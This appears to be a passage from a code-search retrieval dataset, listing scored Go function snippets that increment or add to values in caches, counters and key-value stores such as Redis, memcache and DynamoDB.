err\n\t}\n\ts.set(key, strconv.Itoa(x+y), expire)\n\treturn nil\n}", "title": "" }, { "docid": "55e9f963c85c3523bed60738a64d4142", "score": "0.6125862", "text": "func (m *MockKeyValue) AddFloat64(key string, value float64) {\n\tm.Values[key] = value\n}", "title": "" }, { "docid": "c2696a21ce89f181a7047b0d7505ef61", "score": "0.5957773", "text": "func (c *noopCache) IncrementInt64(k string, n int64) (int64, error) {\n\treturn 0, nil\n}", "title": "" }, { "docid": "5b3c4a04c898c86f277da8968792a71d", "score": "0.59550464", "text": "func (dm *DMap) IncrByFloat(ctx context.Context, key string, delta float64) (float64, error) {\n\te := newEnv(ctx)\n\te.dmap = dm.name\n\te.key = key\n\treturn dm.atomicIncrByFloat(e, delta)\n}", "title": "" }, { "docid": "2137d253c4d4c24df78666e394fff2ad", "score": "0.59177893", "text": "func IncInt64(rm RetrieverMutator, k Key, step int64) (int64, error) {\n\tval, err := rm.Get(context.TODO(), k)\n\tif IsErrNotFound(err) {\n\t\terr = rm.Set(k, []byte(strconv.FormatInt(step, 10)))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\treturn step, nil\n\t}\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\n\tintVal, err := strconv.ParseInt(string(val), 10, 64)\n\tif err != nil {\n\t\treturn 0, errors.Trace(err)\n\t}\n\n\tintVal += step\n\terr = rm.Set(k, []byte(strconv.FormatInt(intVal, 10)))\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn intVal, nil\n}", "title": "" }, { "docid": "8d3cd50c467efa69c016f3960c97b275", "score": "0.58783746", "text": "func (c *noopCache) IncrementUint64(k string, n uint64) (uint64, error) {\n\treturn 0, nil\n}", "title": "" }, { "docid": "a59f27c5fedf781e4a77b74f3d0dfec2", "score": "0.57534623", "text": "func (ms *MemcacheStore) Increment(key string, value int64) (int64, error) {\n\tnewValue, err := ms.Client.Increment(ms.GetPrefix()+key, uint64(value))\n\n\tif err != nil {\n\t\tif err.Error() != \"memcache: cache miss\" {\n\t\t\treturn value, err\n\t\t}\n\n\t\tms.Put(key, value, 0)\n\n\t\treturn value, nil\n\t}\n\n\treturn int64(newValue), nil\n}", "title": "" }, { "docid": "37817b5fd746fdcb892a20ab2daebc83", "score": "0.5728504", "text": "func (c *RedisStore) Increment(key string, delta uint64) (uint64, error) {\n\t// Check for existance *before* increment as per the cache contract.\n\t// redis will auto create the key, and we don't want that. Since we need to do increment\n\t// ourselves instead of natively via INCRBY (redis doesn't support wrapping), we get the value\n\t// and do the exists check this way to minimize calls to Redis\n\tval, err := c.redisClient.Get(context.Background(), key).Result()\n\tif val == \"\" {\n\t\treturn 0, persistence.ErrCacheMiss\n\t}\n\tif err == nil {\n\t\tcurrentVal, err := strconv.ParseInt(val, 10, 64)\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tsum := currentVal + int64(delta)\n\t\t_, err = c.redisClient.Set(context.Background(), key, sum, 0).Result()\n\t\treturn uint64(sum), err\n\t}\n\n\treturn 0, err\n}", "title": "" }, { "docid": "78cbd44631b86166cbdf5e091a40303d", "score": "0.5712964", "text": "func (c *counter) Increment(value int64) {\n\tc.val += float64(value)\n}", "title": "" }, { "docid": "cb8dd158ede642e11674d6410feb6057", "score": "0.5685336", "text": "func (c *fcache) IncrementInt(k string, n int) error {\n\tc.Lock()\n\tv, found := c.items[k]\n\tif !found || v.Expired() {\n\t\tc.setWithTTL(k, 0+n, c.e)\n\t\tc.Unlock()\n\t\treturn nil\n\t}\n\trv, ok := v.Object.(int)\n\tif !ok {\n\t\tc.Unlock()\n\t\treturn fmt.Errorf(\"Value not an int\")\n\t}\n\tv.Object = rv + n\n\tc.Unlock()\n\treturn nil\n}", "title": "" }, { "docid": "05cf8eac834a40b52035a41d587c02bd", "score": "0.56655425", "text": "func (b BoundFloat64Counter) Add(ctx context.Context, value float64) {\n\tb.directRecord(ctx, number.NewFloat64Number(value))\n}", "title": "" }, { "docid": "1eafe5109bf0ed1878ba1f9c42bd5479", "score": "0.564293", "text": "func (c Float64Counter) Add(ctx context.Context, value float64, labels ...attribute.KeyValue) {\n\tc.directRecord(ctx, number.NewFloat64Number(value), labels)\n}", "title": "" }, { "docid": "221470690839b10edd4be3011335697a", "score": "0.56352663", "text": "func (rs *RedisStore) Increment(key string, value int64) (int64, error) {\n\treturn rs.Client.IncrBy(rs.Prefix+key, value).Result()\n}", "title": "" }, { "docid": "d760875c56f7ea75f2db02b0409d157d", "score": "0.5614535", "text": "func (c *LRU) Increment(key string, delta uint64) (uint64, error) {\n\n\tc.RLock()\n\te, exists := c.cache[key]\n\tc.RUnlock()\n\tif !exists {\n\t\treturn 0, cache.ErrNotStored\n\t}\n\n\tv, ok := e.Value.(*item).value.(uint64)\n\tif !ok {\n\t\treturn 0, ErrCannotAssignValue\n\t}\n\n\tv += delta\n\n\tc.Lock()\n\te.Value.(*item).value = v\n\tc.ll.MoveToFront(e)\n\tc.Unlock()\n\n\treturn v, nil\n}", "title": "" }, { "docid": "71aea455ebdba9373d53d0f25994c153", "score": "0.5582616", "text": "func (c *Cache) Increment(key string, incrementBy uint64) error {\n\tele := c.getElement(key)\n\tif ele != nil {\n\t\tn, err := BytesToUint64(ele.Value.(*entry).value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tn += incrementBy\n\n\t\tb := Uint64ToBytes(n)\n\t\tele.Value.(*entry).value = b\n\t\tele.Value.(*entry).cas = c.nextCasID()\n\t\treturn nil\n\n\t}\n\treturn ErrNotFound\n}", "title": "" }, { "docid": "15cb9ffd9e81e9b81aa9566bed472c3a", "score": "0.55566025", "text": "func (sm *Safemap) Increment(key string) {\n\tsm.m.Lock()\n\tv, ok := sm.d[key]\n\tif ok {\n\t\tsm.d[key] = v + 1\n\t} else {\n\t\tsm.d[key] = 1\n\t}\n\tsm.m.Unlock()\n}", "title": "" }, { "docid": "49c27b851fe73c64252fceaadc461e7f", "score": "0.5512589", "text": "func (c *noopCache) Increment(k string, n int64) error {\n\treturn nil\n}", "title": "" }, { "docid": "c1bda4a2ed978df2d1ae36ed3b32379d", "score": "0.5454789", "text": "func (c *SafeCounter) increment(key string) {\n\tc.mux.Lock() //lock so only one goroutine at a time accesses\n\tc.v[key]++ //modify map as you like\n\tc.mux.Unlock() //unlock after\n}", "title": "" }, { "docid": "5268057891b5850d3a7e0ca02cd65f05", "score": "0.54480153", "text": "func (s *JTStorage) DIncrByFloat(key, field string, by float64) (float64, error) {\n\ts.l.Lock()\n\tdefer s.l.Unlock()\n\n\ti, ok := s.data[key]\n\tif !ok {\n\t\tval := strconv.FormatFloat(by, 'f', -1, 64)\n\t\td := map[string]string{field: val}\n\t\tdi := &DictItem{\n\t\t\tData: d,\n\t\t\tType: typeDict,\n\t\t\tTTL: -1,\n\t\t}\n\t\ts.data[key] = di\n\t\treturn by, nil\n\t}\n\n\tdi, ok := i.(*DictItem)\n\tif !ok {\n\t\treturn 0, ErrorWrongType\n\t}\n\n\tval, ok := di.Data[field]\n\tif !ok {\n\t\tdi.Data[field] = strconv.FormatFloat(by, 'f', -1, 64)\n\t\treturn by, nil\n\t}\n\n\tvalFloat, err := strconv.ParseFloat(val, 64)\n\tif err != nil {\n\t\treturn 0, ErrorIsNotFloat\n\t}\n\n\tnewData := valFloat + by\n\tdi.Data[field] = strconv.FormatFloat(newData, 'f', -1, 64)\n\treturn newData, nil\n}", "title": "" }, { "docid": "1028c5306bf245ba36d1008a246dc864", "score": "0.542316", "text": "func (s *MemcachedService) addOrIncrement(key string, value uint64, expiration int32) (uint64, error) {\n\terr := s.client.Add(&memcache.Item{Key: key, Value: []byte(\"1\"), Expiration: expiration})\n\tif err != nil {\n\t\tswitch err {\n\t\tcase memcache.ErrNotStored:\n\t\t\t// key already exists, increment the value\n\t\t\tnewValue, err := s.client.Increment(key, value)\n\t\t\tif err != nil {\n\t\t\t\t// received other error\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t\t// increment success\n\t\t\treturn newValue, nil\n\t\tdefault:\n\t\t\t// received other error\n\t\t\treturn 0, err\n\t\t}\n\t}\n\t// add success\n\treturn 1, nil\n}", "title": "" }, { "docid": "1778cd5ee287270d04b3514dd52076c1", "score": "0.54143363", "text": "func (key *SetupKey) IncrementUsage() *SetupKey {\n\tc := key.Copy()\n\tc.UsedTimes = c.UsedTimes + 1\n\tc.LastUsed = time.Now()\n\treturn c\n}", "title": "" }, { "docid": "5acc17937fc2e8008f593bafe3ef6059", "score": "0.5396023", "text": "func (f *FixedWindowDynamoDB) Increment(ctx context.Context, window time.Time, ttl time.Duration) (int64, error) {\n\tvar resp *dynamodb.UpdateItemOutput\n\tvar err error\n\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tdefer close(done)\n\t\tresp, err = f.client.UpdateItem(ctx, &dynamodb.UpdateItemInput{\n\t\t\tKey: map[string]types.AttributeValue{\n\t\t\t\tf.tableProps.PartitionKeyName: &types.AttributeValueMemberS{Value: f.partitionKey},\n\t\t\t\tf.tableProps.SortKeyName: &types.AttributeValueMemberS{Value: strconv.FormatInt(window.UnixNano(), 10)},\n\t\t\t},\n\t\t\tUpdateExpression: aws.String(fixedWindowDynamoDBUpdateExpression),\n\t\t\tExpressionAttributeNames: map[string]string{\n\t\t\t\t\"#TTL\": f.tableProps.TTLFieldName,\n\t\t\t\t\"#C\": dynamodbWindowCountKey,\n\t\t\t},\n\t\t\tExpressionAttributeValues: map[string]types.AttributeValue{\n\t\t\t\t\":ttl\": &types.AttributeValueMemberN{Value: strconv.FormatInt(time.Now().Add(ttl).Unix(), 10)},\n\t\t\t\t\":def\": &types.AttributeValueMemberN{Value: \"0\"},\n\t\t\t\t\":inc\": &types.AttributeValueMemberN{Value: \"1\"},\n\t\t\t},\n\t\t\tTableName: &f.tableProps.TableName,\n\t\t\tReturnValues: types.ReturnValueAllNew,\n\t\t})\n\t}()\n\n\tselect {\n\tcase <-done:\n\tcase <-ctx.Done():\n\t\treturn 0, ctx.Err()\n\t}\n\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"dynamodb update item failed\")\n\t}\n\n\tvar count float64\n\terr = attributevalue.Unmarshal(resp.Attributes[dynamodbWindowCountKey], &count)\n\tif err != nil {\n\t\treturn 0, errors.Wrap(err, \"unmarshal of dynamodb attribute value failed\")\n\t}\n\n\treturn int64(count), nil\n}", "title": "" }, { "docid": "3eaab037ed4d888cb2833f1d831bca34", "score": "0.53833807", "text": "func (k *keeper) IncreaseCachedValueByOne(key string) error {\n\tif k.disableCaching {\n\t\treturn nil\n\t}\n\n\tclient := k.connPool.Get()\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\t_, err := client.Do(\"INCR\", key)\n\treturn err\n}", "title": "" }, { "docid": "c5ae072aa457e642571d767fabc6d9e2", "score": "0.53700924", "text": "func (c *GoRedisStore) Increment(key string, delta uint64) (uint64, error) {\n\tval, err := c.cli.IncrBy(key, int64(delta)).Result()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\treturn uint64(val), nil\n}", "title": "" }, { "docid": "08d121cf2febd07b73dfe35bd98dfa2f", "score": "0.53660274", "text": "func (Float64Counter) Add(context.Context, float64, ...metric.AddOption) {}", "title": "" }, { "docid": "a6389d161d21e7d4e6f1ac8644f1754a", "score": "0.5343901", "text": "func (fe FilterEncoder) AddFloat64(key string, value float64) {\n\tif !fe.filtered(key, value) {\n\t\tfe.wrapped.AddFloat64(key, value)\n\t}\n}", "title": "" }, { "docid": "3fe3e49dfd3a35f788e41ee62d51baf0", "score": "0.53224456", "text": "func (m *Message) PutFloat(key string, value float64) {\n\tm.key(key)\n\tm.bs.AppendFloat(value, 64)\n\tm.next()\n\n}", "title": "" }, { "docid": "22c687caa1e56c382c310432304c8179", "score": "0.53053707", "text": "func (p *Memory) Incr(key string) (int64, error) {\n\tp.Lock()\n\tdefer p.Unlock()\n\tn, ok := p.kvs[key]\n\tif !ok {\n\t\tn = &node{\n\t\t\tk: key,\n\t\t\tv: \"0\",\n\t\t\texpire: zeroTime,\n\t\t}\n\t}\n\tv, _ := strconv.ParseInt(n.v, 10, 64)\n\tv++\n\tn.v = strconv.FormatInt(v, 10)\n\tp.kvs[key] = n\n\treturn v, nil\n}", "title": "" }, { "docid": "9b9c48c117b65b905774ee1370efa52e", "score": "0.53033465", "text": "func Next() int64 {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\n\ttmp := key\n\tkey++\n\n\treturn tmp\n}", "title": "" }, { "docid": "a5ee97294df8d447aadcb66da3b41218", "score": "0.52832144", "text": "func incrementKey(key string) string {\n\tsplit := strings.Split(key, \"_\")\n\tlast := split[len(split)-1]\n\ti, err := strconv.Atoi(last)\n\tif err != nil {\n\t\treturn key + \"_00\"\n\t} else {\n\t\tlast = zeroPad(i+1, 2)\n\t\treturn key + \"_\" + last\n\t}\n}", "title": "" }, { "docid": "5927d25a17f7ec3cac2773177252d405", "score": "0.52827305", "text": "func (c *Client) Increment(key string, value int64, ttl int) (int64, error) {\n\thash := GetPositiveHashCode(key, maxServer)\n\ts := c.getSessionFromHash(hash)\n\tmdata := &model.OvoCounter{Key: key, Value: value, Hash: hash, TTL: ttl}\n\tresp := &model.OvoCounterResponse{}\n\tif s != nil {\n\t\t_, err := s.Put(createCountersEndpoint(s.node.Host, s.port), mdata, resp, nil)\n\t\tif err != nil {\n\t\t\tdone := true\n\t\t\t// try post on twins\n\t\t\tfor _, nd := range c.topology.GetTwins(s.node.Twins) {\n\t\t\t\tif st, ok := c.clients[nd.Name]; ok {\n\t\t\t\t\t_, errt := st.Put(createCountersEndpoint(st.node.Host, st.port), mdata, resp, nil)\n\t\t\t\t\tdone = done && (errt == nil)\n\t\t\t\t}\n\t\t\t}\n\t\t\tc.checkCluster()\n\t\t\tif done {\n\t\t\t\treturn resp.Data.Value, nil\n\t\t\t} else {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\t\treturn resp.Data.Value, nil\n\t}\n\treturn 0, errors.New(\"Node not found.\")\n}", "title": "" }, { "docid": "56d365fbba5277f0106e128223f2ee38", "score": "0.5260411", "text": "func (c *Context) IncInt64(key string, delta int64) int64 {\n\treturn c.inc(key, delta).(int64)\n}", "title": "" }, { "docid": "9a3d40ae981d05c53e2ea52f904ea775", "score": "0.52492285", "text": "func (db *DB) Insert(key, time uint64, value float64) {\n\tstatInsert.Incr()\n\tb := make([]byte, 8)\n\tbinary.LittleEndian.PutUint64(b, math.Float64bits(value))\n\tdb.Store.PutAsync(createKey(key, time), b)\n}", "title": "" }, { "docid": "1ee0becdb4d77b18f3546bfeaabff97a", "score": "0.52437234", "text": "func (b BoundFloat64UpDownCounter) Add(ctx context.Context, value float64) {\n\tb.directRecord(ctx, number.NewFloat64Number(value))\n}", "title": "" }, { "docid": "43cc340ebf61ab2259788568feb0e31d", "score": "0.5217172", "text": "func (enc *jsonEncoder) AddFloat64(key string, val float64) {\n\tenc.addKey(key)\n\tswitch {\n\tcase math.IsNaN(val):\n\t\tenc.bytes = append(enc.bytes, `\"NaN\"`...)\n\tcase math.IsInf(val, 1):\n\t\tenc.bytes = append(enc.bytes, `\"+Inf\"`...)\n\tcase math.IsInf(val, -1):\n\t\tenc.bytes = append(enc.bytes, `\"-Inf\"`...)\n\tdefault:\n\t\tenc.bytes = strconv.AppendFloat(enc.bytes, val, 'f', -1, 64)\n\t}\n}", "title": "" }, { "docid": "6e3de058edfb56f3db7fd9a3bf9c6bb6", "score": "0.52070004", "text": "func (f *FixedWindowRedis) Increment(ctx context.Context, window time.Time, ttl time.Duration) (int64, error) {\n\tvar incr *redis.IntCmd\n\tvar err error\n\tdone := make(chan struct{})\n\tgo func() {\n\t\tdefer close(done)\n\t\t_, err = f.cli.Pipelined(ctx, func(pipeliner redis.Pipeliner) error {\n\t\t\tkey := fmt.Sprintf(\"%d\", window.UnixNano())\n\t\t\tincr = pipeliner.Incr(ctx, redisKey(f.prefix, key))\n\t\t\tpipeliner.PExpire(ctx, redisKey(f.prefix, key), ttl)\n\t\t\treturn nil\n\t\t})\n\t}()\n\n\tselect {\n\tcase <-done:\n\t\tif err != nil {\n\t\t\treturn 0, errors.Wrap(err, \"redis transaction failed\")\n\t\t}\n\t\treturn incr.Val(), incr.Err()\n\tcase <-ctx.Done():\n\t\treturn 0, ctx.Err()\n\t}\n}", "title": "" }, { "docid": "6873f11c3b3bd64071f68fab1d7f8215", "score": "0.5191263", "text": "func (ann *ServiceAnnouncer) increment(key string) (value int, err error) {\n\n\tcreateKey := func() (value int, err error) {\n\t\t_, err = ann.client.Set(key, \"1\", 0)\n\t\treturn 1, err\n\t}\n\n\treplaceKey := func() (value int, err error) {\n\t\tif _, err = ann.client.Delete(key, true); err == nil {\n\t\t\tvalue, err = createKey()\n\t\t}\n\t\treturn\n\t}\n\n\tincrementKey := func(value int) (int, error) {\n\t\tnewValue := value + 1\n\t\tnewValueStr := fmt.Sprintf(\"%v\", newValue)\n\t\toldValueStr := fmt.Sprintf(\"%v\", value)\n\t\t_, err := ann.client.CompareAndSwap(key, newValueStr, 0, oldValueStr, 0)\n\t\treturn newValue, err\n\t}\n\n\tvar response *etcd.Response\n\n\tfor {\n\t\tif response, err = ann.client.Get(key, false, false); err != nil {\n\t\t\tvalue, err = createKey()\n\t\t} else if response.Node.Dir {\n\t\t\t// replace the directory with zero\n\t\t\tvalue, err = replaceKey()\n\t\t} else {\n\t\t\tif value, err = strconv.Atoi(response.Node.Value); err != nil {\n\t\t\t\t// parse the value and replace it with zero if we can't\n\t\t\t\tvalue, err = replaceKey()\n\t\t\t} else {\n\t\t\t\t// increment the value\n\t\t\t\tvalue, err = incrementKey(value)\n\t\t\t\tif err != nil {\n\t\t\t\t\t// convert value\n\t\t\t\t\tif etcdError, ok := err.(*etcd.EtcdError); ok {\n\t\t\t\t\t\tif etcdError.ErrorCode == 101 {\n\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tbreak\n\t}\n\n\tif err == nil {\n\t\tann.log.Debug(\"increment %s to %d\", key, value)\n\t} else {\n\t\tann.log.Error(\"failed to increment %s: %s\", key, err)\n\t}\n\treturn\n}", "title": "" }, { "docid": "7b6be95b69b0c9e796b86c1b56b53df0", "score": "0.51881516", "text": "func (m *monotonic) increment() error {\n\tif inc, err := m.random(); err != nil {\n\t\treturn err\n\t} else if m.entropy.Add(inc) {\n\t\treturn ErrMonotonicOverflow\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "5e15dbaa62a5382f0ad0cd03ab143bb2", "score": "0.5185543", "text": "func (t *BlockchainID) incrementCounter(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\n key := pubkeyTab + \"_\" + args[0]\n counter_key := counterTab + \"_\" + args[0]\n\n if val, err := stub.GetState(counter_key); err!=nil {\n return nil, fmt.Errorf(\"No key exists %v\\n\", args[0])\n } else{\n count,_ := strconv.Atoi(string(val))\n // verify signature\n pub_raw, _ := stub.GetState(key)\n raw, _ := base64.StdEncoding.DecodeString(string(pub_raw))\n pub, _ := x509.ParsePKIXPublicKey(raw)\n\n \n count = count + 1\n // this is used only for benchmarking (always verified)\n expected := strconv.Itoa(0)\n //expected := strconv.Itoa(count) \n if t.verifySignature(pub.(*ecdsa.PublicKey), expected, args[1], args[2]) {\n // update counter\n stub.PutState(counter_key, []byte(expected))\n return []byte(\"successful\"), nil\n } else {\n return []byte(\"wrong signature\"), fmt.Errorf(\"Signature cannot be verified for value %v\", expected)\n }\n }\n}", "title": "" }, { "docid": "18ecbe01496655053bd6dcf8468dd9e7", "score": "0.5181896", "text": "func (c Float64UpDownCounter) Add(ctx context.Context, value float64, labels ...attribute.KeyValue) {\n\tc.directRecord(ctx, number.NewFloat64Number(value), labels)\n}", "title": "" }, { "docid": "aa56926b0b37a340060972a02759b782", "score": "0.5178357", "text": "func (c *MemcachedClient) Increment(key CacheKey, delta uint64) (newValue uint64, err error) {\n\treturn c.incrDecr(\"incr\", key, delta)\n}", "title": "" }, { "docid": "95599c45673430f260443dffa8467a98", "score": "0.51658946", "text": "func (s *Store) Incr(k []byte, v uint64) (uint64, error) {\n\th := hash(k)\n\tidx := idx(h)\n\treturn s.chunks[idx].incrdecr(k, h, v, true)\n}", "title": "" }, { "docid": "d583bfe3c4d6ff9f63129c01f6541668", "score": "0.5164893", "text": "func (m *SyncStore) incrementCounter() {\n\tm.nextID++\n}", "title": "" }, { "docid": "958ad9f2ab9877663bef35372c98aa1a", "score": "0.51635647", "text": "func (m *MockKeyValue) AddInt64(key string, value int64) {\n\tm.Values[key] = value\n}", "title": "" }, { "docid": "053073e94abcb60b083548acc7bbe0f5", "score": "0.51392657", "text": "func (e *expiringCounter) Add(val float64) {\n\te.Counter.Add(val)\n\te.lastModSec = time.Now().Unix()\n}", "title": "" }, { "docid": "926aa761058cc34ce595749bc230932e", "score": "0.5125593", "text": "func (c *Client) CreateFloat64(ctx context.Context, key string, out float64) ([]byte, error) {\n\treturn c.CreateUint64(ctx, key, math.Float64bits(out))\n}", "title": "" }, { "docid": "9b0d1f466864bc096f7cc9150adda847", "score": "0.5123334", "text": "func (c *noopCache) DecrementFloat64(k string, n float64) (float64, error) {\n\treturn 0, nil\n}", "title": "" }, { "docid": "0e373a58769fb19189be3dee2a3f7610", "score": "0.51073825", "text": "func (s *storage) add() {\n\tfmt.Println(\"+ add key\")\n\n\tt := time.Now()\n\n\ts.datmux.Lock()\n\ts.data[t] = t\n\ts.datmux.Unlock()\n\n\tfmt.Println(\"+ key added\", t)\n\n\ts.imux.RLock()\n\ts.i++\n\ts.imux.RUnlock()\n\n\tfmt.Println(\"+ i++\")\n}", "title": "" }, { "docid": "14f120b7d5efda5dacde11d965cfd88a", "score": "0.5106466", "text": "func (db *DB) Inc(key []byte, delta int64) (val int64, err error) {\n\tif err = db.enter(); err != nil {\n\t\treturn\n\t}\n\n\tdefer db.leave(&err)\n\n\tpbuf := buffer.Get(8)\n\tdefer buffer.Put(pbuf)\n\t_, _, err = db.root.Put(\n\t\t*pbuf,\n\t\tkey,\n\t\tfunc(key []byte, old []byte) (new []byte, write bool, err error) {\n\t\t\twrite = true\n\t\t\tif len(old) == 8 {\n\t\t\t\tval = int64(binary.BigEndian.Uint64(old))\n\t\t\t} else {\n\t\t\t\told = make([]byte, 8)\n\t\t\t\tval = 0\n\t\t\t}\n\t\t\tval += delta\n\t\t\tbinary.BigEndian.PutUint64(old, uint64(val))\n\t\t\tnew = old\n\t\t\treturn\n\t\t},\n\t)\n\n\treturn\n}", "title": "" }, { "docid": "fe05e574791896e5dbee84fb85eb941f", "score": "0.50941706", "text": "func (x *MCG) Float64() (next float64) {\r\n\tnext = float64(x.state >> 11) * 0x1p-53\r\n\tx.state *= 0x83b5b142866da9d5\r\n return \r\n}", "title": "" }, { "docid": "b608c11df8d8519c2d0eb1ea06a79caa", "score": "0.50936824", "text": "func (s *SafeCounter) Inc(key string) {\n\ts.mu.Lock() //Lock access to s structure\n\ts.mp[key]++\n\ts.mu.Unlock() //Unlock access to s structure\n}", "title": "" }, { "docid": "0b423cb52f6106758e164f399f240f03", "score": "0.50860196", "text": "func (f Uint64Field) Inc() (val uint64, err error) {\n\tval, err = f.Get()\n\tif err != nil {\n\t\tif errors.Is(err, leveldb.ErrNotFound) {\n\t\t\tval = 0\n\t\t} else {\n\t\t\treturn 0, fmt.Errorf(\"get value: %w\", err)\n\t\t}\n\t}\n\tval++\n\treturn val, f.Put(val)\n}", "title": "" }, { "docid": "6b518014d440c7e4197d6ae5ed413c2e", "score": "0.50821036", "text": "func (f *FixedWindowInMemory) Increment(ctx context.Context, window time.Time, _ time.Duration) (int64, error) {\n\tf.mu.Lock()\n\tdefer f.mu.Unlock()\n\tif window != f.window {\n\t\tf.c = 0\n\t\tf.window = window\n\t}\n\tf.c++\n\treturn f.c, ctx.Err()\n}", "title": "" }, { "docid": "edf9ba91ac72024dc52778d58a2eb7a0", "score": "0.506748", "text": "func (Float64UpDownCounter) Add(context.Context, float64, ...metric.AddOption) {}", "title": "" }, { "docid": "a29963fc1307f8599812c6f81d94e017", "score": "0.50650644", "text": "func RequireFloat64(ctx *pulumi.Context, key string) float64 {\n\tkey = ensureKey(ctx, key)\n\tv := Require(ctx, key)\n\treturn cast.ToFloat64(v)\n}", "title": "" }, { "docid": "58c5dabff18918e9e1278631ad577906", "score": "0.50560874", "text": "func (c *CacheInt64) Incr(key int64, n int64, duration time.Duration) int64 {\n\tr, item, _ := c.bucket(key).incr(key, n, duration, false)\n\tif item != nil{\n\t\tc.promote(item)\n\t}\n\treturn r\n}", "title": "" }, { "docid": "c634e1cbd8794c2198914c2969780856", "score": "0.50545144", "text": "func (c *Conn) Increment(key string) int {\n\tvalue := c.Get(key)\n\n\tif value == nil {\n\t\tc.Set(key, 1)\n\t\treturn 1\n\t}\n\n\tintValue, ok := value.(int)\n\tif !ok {\n\t\t// override.\n\t\tc.Set(key, 1)\n\t\treturn 1\n\t}\n\n\tintValue++\n\tc.Set(key, intValue)\n\treturn intValue\n}", "title": "" }, { "docid": "0baee4b6ae3347c0acb03bb495119b56", "score": "0.5049445", "text": "func (c *Counter) IncrementX(txCtx context.Context, delta int64) error {\n\n\tval := count{}\n\n\t// pick a key at random and alter its value by delta\n\tkey := datastore.NewKey(txCtx, c.entity, c.shardKeys[rand.Int63()%int64(c.shardCount)], 0, nil)\n\n\tif err := nds.Get(txCtx, key, &val); err != nil && err != datastore.ErrNoSuchEntity {\n\t\treturn err\n\t}\n\n\tval.C += delta\n\n\tif _, err := nds.Put(txCtx, key, &val); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "title": "" }, { "docid": "70289b7b1393ee1b10277d3feafb4ae4", "score": "0.5045254", "text": "func Increment(r *http.Request, limit uint64) (string, uint64, error) {\n\tc := appengine.NewContext(r)\n\tunixIntValue := time.Now().Unix()\n\t//fmt.Println(timeStamp)\n\ttimeStamp := time.Unix(unixIntValue, 0)\n\thr, min, _ := timeStamp.Clock()\n\tkey := r.RemoteAddr+\"-\"+strconv.Itoa(hr)+\"-\"+strconv.Itoa(min)\n\tval, err := memcache.Increment(c,key,1,0)\n\tif val >= limit {\n\t\treturn \"\",val, &RateLimitError{msg: fmt.Sprintf(\"IP Address %s has exceeded the rate limit of %d requests per minute\",r.RemoteAddr,limit)}\n\t}\n\treturn key, val, err\n}", "title": "" }, { "docid": "014f9bec2db3ce9c47fd6b6f1ed0faf9", "score": "0.50413054", "text": "func (c *Client) incr() {\n\tatomic.AddUint64(&c.ctr, 1)\n}", "title": "" }, { "docid": "34a07e3fa86a5af970bc1f1cc145b43e", "score": "0.5009217", "text": "func (a *atomicFloatCAS2) Add(delta float64) float64 {\nloop:\n\toldBits := atomic.LoadUint64(&a.u64)\n\tnewValue := math.Float64frombits(oldBits) + delta\n\tnewBits := math.Float64bits(newValue)\n\tif !atomic.CompareAndSwapUint64(&a.u64, oldBits, newBits) {\n\t\tgoto loop\n\t}\n\treturn newValue\n}", "title": "" }, { "docid": "51b918dc6d7b43d9c05bd7a4973e6de1", "score": "0.49981207", "text": "func (rl *RateLimiter) updateCurrentKey() {\n\tnow := float64(time.Now().Unix())\n\tseconds := rl.Interval.Seconds()\n\tcurrentTimeIntervalString := fmt.Sprintf(\"%d\", int64(math.Floor(now/seconds)))\n\trl.currentKey = fmt.Sprintf(\"%s:%s\", rl.BaseKey, currentTimeIntervalString)\n}", "title": "" }, { "docid": "25ad4a417646b89b3a066a1f2ba3cc90", "score": "0.49961674", "text": "func (s *VectorClock) Increment(nodeId string) {\n\ts.Timestamp[nodeId] += 1\n}", "title": "" }, { "docid": "8ad072293951869407aee6155973b417", "score": "0.49887422", "text": "func (es *SampleStorage) incVar(k Key, inc int64) int64 {\n\t// Get the last seen value from the cache.\n\tks := string(k)\n\ts, ok := es.stateCache[ks]\n\tif ok && inc == 0 {\n\t\treturn s\n\t}\n\tr, err := Increment(es.engine, MakeKey(es.prefix, k), inc)\n\tif err != nil {\n\t\tlog.Warning(err)\n\t\t// If the increment failed, stick with the old value if possible.\n\t\t// This will also make sure that Seen() will get stuck at MaxInt64.\n\t\tif ok {\n\t\t\treturn s\n\t\t}\n\t\treturn 0\n\t}\n\tes.stateCache[ks] = r\n\treturn r\n}", "title": "" }, { "docid": "f1a47ac9e2b963c774fd0e38da7b917c", "score": "0.49807823", "text": "func (dq *FIFO) SetKey(id int64, k float64) {}", "title": "" }, { "docid": "7622ac8178c523e94d520a8c648af6fc", "score": "0.4956098", "text": "func (c *SafeCounter) Inc(key string) {\n\tc.mux.Lock()\n\t// Lock so only one goroutine at a time can access the map.\n\tdefer c.mux.Unlock()\n\tc.v[key]++\n}", "title": "" }, { "docid": "56b50ac95eb3bf30e49629d03f714561", "score": "0.49450582", "text": "func (f *Float64) Store(s float64) {\n\tatomic.StoreUint64(&f.v, math.Float64bits(s))\n}", "title": "" }, { "docid": "ba275ec6d487c6db5e7ae0aedf06707a", "score": "0.4936289", "text": "func (inc *Incrementer) Increment(key string, size int) (int64, error) {\n\tcurIDVal, getErr := inc.kv.Get(key)\n\n\t// try set the value to size\n\tif getErr == errors.DataNotFound {\n\t\tmaxIDVal := fmt.Sprintf(\"%d\", size)\n\t\t_, err := inc.kv.db.Txn(context.TODO()).\n\t\t\tIf(clientv3.CreateRevision(key)).\n\t\t\tThen(clientv3.OpPut(key, maxIDVal)).\n\t\t\tCommit()\n\n\t\tif err != nil {\n\t\t\treturn -1, err\n\t\t}\n\n\t\treturn int64(size), nil\n\t}\n\n\tif getErr != nil {\n\t\treturn -1, getErr\n\t}\n\n\tcurID, getErr := 